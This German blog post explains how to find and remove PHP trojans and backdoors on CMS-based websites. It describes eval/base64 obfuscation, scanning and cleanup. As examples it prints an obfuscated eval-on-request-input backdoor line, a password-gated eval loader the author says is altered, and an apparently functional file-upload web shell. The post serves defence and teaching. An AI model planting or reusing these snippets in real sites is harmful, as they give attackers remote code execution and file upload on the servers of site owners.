Über den Author / Internet / PHP Trojaner suchen und finden

PHP Trojaner suchen und finden

~4 Min. Lesezeit

PHP Trojaner sind seit längerem sehr beliebt. Mit dem Einsatz von immer mehr CMS Systemen eir WordPress, Joomla, Typo3 wächst auch die Einsatzmöglichkeit von PHP Trojanern. Hier zeige ich, wie man diese findet und bereinigt.

Achtung: Dieser Artikel dient zur Weiterbildung um Trojaner zu erkennen und bereinigenzu können. Dazu sind einige Grundverständnisse nötig. Ich liefere keine Hilfe um PHP Trojaner zu bauen!

Oft bemerkt man selbst nichts von einer Infektion der eigenen Webseite. Gegebenenfalls werden seltsame Werbungen auf der Webseite angezeigt, oder Benutzer weitergeleitet auf eine andere Seite.
In diesem Fall ist die Infektion schon ins CMS vorgedrungen. Glücklicherweise setzen einige Hoster auch Scanner ein, wo Infektionen teilweise finden, bevor diese tief im CMS eingegraben sind.

Es ist daher wichtig, dies schnell und sauber alles zu durchsuchen und zu bereinigen.
Dabei gibt es 2 Unterscheidungen:
Schadcode und Eier

Schadcode
Dieser Code blendet Werbungen ein, holt neuen Schadcode oder macht Weiterleitungen. Alle Aktionen wo man als Seitenbesucher bemerkt oder bei jedem Seitenaufruf ausgeführt werden.

Eier
Versteckte Dateien welche nicht automatisch aufgerufen werden. Der Angreiffer versucht diese zu verstecken, um nach einer Bereinigung gegebenenfalls noch eine Hintertür zu haben, wo die erneute Infizierung massiv erleichtert.

Aufbau

JEder PHP Schadcode muss irgendwie aufgeführt werden. Dazu nutzt man die Funktion eval(). Da man nicht alle Zeichen über den Browser problemlos übertragen kann, müssen die Zeichen speziell codiert werden. hierzu nutzt man oft ein eval(base64_decode()).

Natürlich schreibt man dies gegebenenfalls anders:

$a = "bAs" . "e".((30*2)+4)."_"."DeC"."Ode(";
eval($a.$_GET["sed"].")");

Und schon hat man ein PHP Sicherheitsloch.

Es gibt hier noch andere Möglichkeiten, z.B. direkt per Dateiverwaltungssystem Dateien zu manipulieren und per HTMLFormular Dateiupload neue Eier und Viren abzulegen.

Suchen und Finden

Vereinfacht gesagt, immer wenn eval() vorkommt, sollte man sehr grosse Vorsicht walten lassen. Viele CMS Systeme und Plugins setzen die Funktion jedoch auch gezielt und bewusst ein. Daher muss der Code genau angeschaut werden und nicht jede eval() Benutzung ist schlecht.

Sobald eine Browsereingabe ($_REQUEST, $GET, $_POST) an ein eval() übergeben wird, ist grosse Vorsicht geboten. Wer heute noch mit global_registers arbeitet, gehört gleich erschlagen. Sucht euch bitte ein neuen Programmierer!

Um Trojaner schnell und einfach zu finden, habe ich ein Scantool in PHP geschrieben, was alle eval() und base64_decode() Vorkommnisse auflistet, sowie man auch nach bestimmten „Strings“ suchen kann.

virensucher.php

Damit sich die Eier nicht finden lassen per Systemtools etc., entziehen sie sich selbst alle Rechte. Im Browser sind diese weiterhin aufrufbar. Welche Ironie.
Daher sollten Dateien ohne Leserechte auch unbedingt angeschaut werden!

Bitte bereinigt nicht einfach wild drauf los, sondern schaut gut nach, was gut aussieht und was schlecht.

virensucher.php (Herunterladen und als .php hochladen)

Schlechte Codes

Als Beispiele was schlechte Codes sind, beachtet, all diese Codes wurden von mir manipuliert, damit diese nicht mehr zu gebrauchen sind. Dies bewusst, weil ich keine Trojaner hier liefern möchte, auch keine Ideen um diese zu bauen:

Typisches Beispiel eines eval(base64_decode()) Ei:

<?php
$g___g_='base'.(32*2).'_de'.'code';$g___g_=$g___g_(str_replace("\n", '', 'ErDDtDwnAx/yFBkgij...v245C5'));
$g__g_=isset($_POST['g__g_'])?$_POST['g__g_']:(isset($_COOKIE['g__g_'])?$_COOKIE['g__g_']:NULL);if($g__g_!==NULL){
$g__g_=md5($g__g_).substr(md5(strrev($g__g_)),0,strlen($g__g_));
for($g____g_=0;$g____g_<15324;$g____g_++){$g___g_[$g____g_]=chr(( ord($g___g_[$g____g_])-ord($g__g_[$g____g_]))%256);
?><form action="" method="post"><input type="text" name="g__g_" value=""/><input type="submit" value="&gt;"/></form>

Typisches Beispiel eines HTML Formular Direktupload Ei:

if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();

if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';

echo "Path: ".htmlspecialchars($cwd)."<input type=hidden name=c value='".htmlspecialchars($cwd) ."'><hr>";
if (!is_writable($cwd)) {
	echo "<font color=red>(Not writable)</font><br>";
}
if($_POST['p1'] === 'uploadFile') {
	if(!@move_uploaded_file($_FILES['f']['tmp_name'], $cwd.$_FILES['f']['name']))
		echo "Can't upload!<br />";
}

echo	"<hr><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=c value='" . $cwd ."'>
		<input type=hidden name=p1 value='uploadFile'>
		Upload file: <input type=file name=f><input type=submit value='>>'></form>";

Schon früher habe ich hier einen attackierendes PHP Script beschrieben:
PHP Trojaner ADVE Confirm

PHP Trojaner müssen immer alle auf ein Schlag beseitigt werden und nebenbei alle Passwörter (FTP, DB) geändert werden. Oft liegt ein einfaches FTPPasswort zu Grunde, oder ein System welches auf mod_php läuft und so Hosting übergreifend die Kunden infiziert werden.

Bereinigung

Man benötigt klar ein wenig PHP Wissen um eine Seite zu bereinigen, da man den Sourcecode analysieren muss. Scannt man ein CMS System was „clear“ ist, kennt man die Dateien und FalseAlerts. Vergleicht man diese mit dem eigenen System hat man innert Minuten eine Übersicht. Eine Bereinigung dauert zwischen 30 Min – 1 Stunde, halt je nachdem wie viel Sourcecode vorhanden ist und wie tief die Schadcodes bereits eingenistet sind.
Wer sich dem nicht sicher fühlt, schnell agieren und Profis einschalten.

About Stefan

avatar
Ein männlicher IT Nerd, durchstöbert das Web nach speziellen Gadgets, unentbehrlicher Software und Alles was man im IT Sektor nicht verpassen darf.Immer hilfsbereit wenn Probleme zu lösen sind oder das Unmögliche umgesetzt werden sollte.

Weitere interessante Artikel

PHP Trojaner (Teil 4: Codierte Uploader Infektion)

~2 Min. LesezeitNicht jeder PHP Trojaner kann auf den ersten Blick identifiziert werden, was der …

PHP Trojaner (Teil 3: Spamsender Infektion)

~1 Min. LesezeitSpam ist ein grosses Problem der heutigen Zeit, doch wer verschickt Spam und …

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

eMail-Benachrichtigung bei weiteren Kommentaren.
Auch möglich: Abo ohne Kommentar.

This Blog will give regular Commentators DoFollow Status. Implemented from IT Blögg